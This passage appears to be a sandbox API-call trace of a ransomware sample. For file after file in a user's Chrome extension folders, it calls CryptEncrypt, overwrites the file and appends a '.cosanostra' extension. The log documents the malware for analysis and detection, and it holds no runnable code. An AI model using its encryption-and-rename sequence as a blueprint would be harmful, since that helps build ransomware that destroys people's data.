lpNumberOfBytesWritten=0x26ffa44, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa44*=0xeb, lpOverlapped=0x0) returned 1 [0086.039] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.039] WriteFile (in: hFile=0x178, lpBuffer=0x26ffa84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa44, lpOverlapped=0x0 | out: lpBuffer=0x26ffa84*, lpNumberOfBytesWritten=0x26ffa44*=0x4, lpOverlapped=0x0) returned 1 [0086.039] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa44, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa44*=0x30, lpOverlapped=0x0) returned 1 [0086.039] CloseHandle (hObject=0x178) returned 1 [0086.039] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0086.148] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa80 | out: pbBuffer=0x26ffa80) returned 1 [0086.148] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa78*=0x30) returned 1 [0086.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.148] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 154 [0086.148] StrStrW (lpFirst="dasherSettingSchema.json", lpSrch=".txt") returned 0x0 [0086.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffcaa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.191] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x356, lpNumberOfBytesWritten=0x26ffa3c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa3c*=0x356, lpOverlapped=0x0) returned 1 [0086.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.191] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa3c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa7c*, lpNumberOfBytesWritten=0x26ffa3c*=0x4, lpOverlapped=0x0) returned 1 [0086.191] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa3c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa3c*=0x30, lpOverlapped=0x0) returned 1 [0086.191] CloseHandle (hObject=0x188) returned 1 [0086.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json.cosanostra")) returned 1 [0086.193] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa78 | out: pbBuffer=0x26ffa78) returned 1 [0086.193] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa70*=0x30) returned 1 [0086.193] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.193] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 158 [0086.193] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.194] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff45, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.194] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x26ffa34, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa34*=0xbb, lpOverlapped=0x0) returned 1 [0086.194] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.194] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa34, lpOverlapped=0x0 | out: lpBuffer=0x26ffa74*, lpNumberOfBytesWritten=0x26ffa34*=0x4, lpOverlapped=0x0) returned 1 [0086.195] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa34, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa34*=0x30, lpOverlapped=0x0) returned 1 [0086.195] CloseHandle (hObject=0x188) returned 1 [0086.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0086.197] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa70 | out: pbBuffer=0x26ffa70) returned 1 [0086.197] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa68*=0x30) returned 1 [0086.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.197] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 155 [0086.197] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.198] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.198] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x26ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa2c*=0xb4, lpOverlapped=0x0) returned 1 [0086.198] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.198] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa6c*, lpNumberOfBytesWritten=0x26ffa2c*=0x4, lpOverlapped=0x0) returned 1 [0086.198] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa2c*=0x30, lpOverlapped=0x0) returned 1 [0086.198] CloseHandle (hObject=0x188) returned 1 [0086.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0086.200] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa68 | out: pbBuffer=0x26ffa68) returned 1 [0086.200] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa60*=0x30) returned 1 [0086.200] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.200] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 155 [0086.200] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.201] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.201] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x26ffa24, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa24*=0x96, lpOverlapped=0x0) returned 1 [0086.201] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.201] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa24, lpOverlapped=0x0 | out: lpBuffer=0x26ffa64*, lpNumberOfBytesWritten=0x26ffa24*=0x4, lpOverlapped=0x0) returned 1 [0086.201] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa24, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa24*=0x30, lpOverlapped=0x0) returned 1 [0086.201] CloseHandle (hObject=0x188) returned 1 [0086.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0086.204] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa60 | out: pbBuffer=0x26ffa60) returned 1 [0086.204] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa58*=0x30) returned 1 [0086.204] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.205] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 155 [0086.205] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.205] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.205] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x26ffa1c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa1c*=0xb1, lpOverlapped=0x0) returned 1 [0086.205] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.205] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa1c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa5c*, lpNumberOfBytesWritten=0x26ffa1c*=0x4, lpOverlapped=0x0) returned 1 [0086.206] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa1c*=0x30, lpOverlapped=0x0) returned 1 [0086.206] CloseHandle (hObject=0x188) returned 1 [0086.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0086.207] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa58 | out: pbBuffer=0x26ffa58) returned 1 [0086.208] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa50*=0x30) returned 1 [0086.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.208] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 155 [0086.208] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.209] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffdf5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.209] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x20b, lpNumberOfBytesWritten=0x26ffa14, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa14*=0x20b, lpOverlapped=0x0) returned 1 [0086.209] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.209] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa14, lpOverlapped=0x0 | out: lpBuffer=0x26ffa54*, lpNumberOfBytesWritten=0x26ffa14*=0x4, lpOverlapped=0x0) returned 1 [0086.209] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa14*=0x30, lpOverlapped=0x0) returned 1 [0086.209] CloseHandle (hObject=0x188) returned 1 [0086.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.cosanostra")) returned 1 [0086.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa50 | out: pbBuffer=0x26ffa50) returned 1 [0086.211] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa48*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa48*=0x30) returned 1 [0086.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.211] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 155 [0086.211] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.212] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.212] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x26ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa0c*=0xcb, lpOverlapped=0x0) returned 1 [0086.212] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.212] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa4c*, lpNumberOfBytesWritten=0x26ffa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.212] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa0c*=0x30, lpOverlapped=0x0) returned 1 [0086.212] CloseHandle (hObject=0x188) returned 1 [0086.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0086.214] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa48 | out: pbBuffer=0x26ffa48) returned 1 [0086.214] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa40*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa40*=0x30) returned 1 [0086.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.214] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 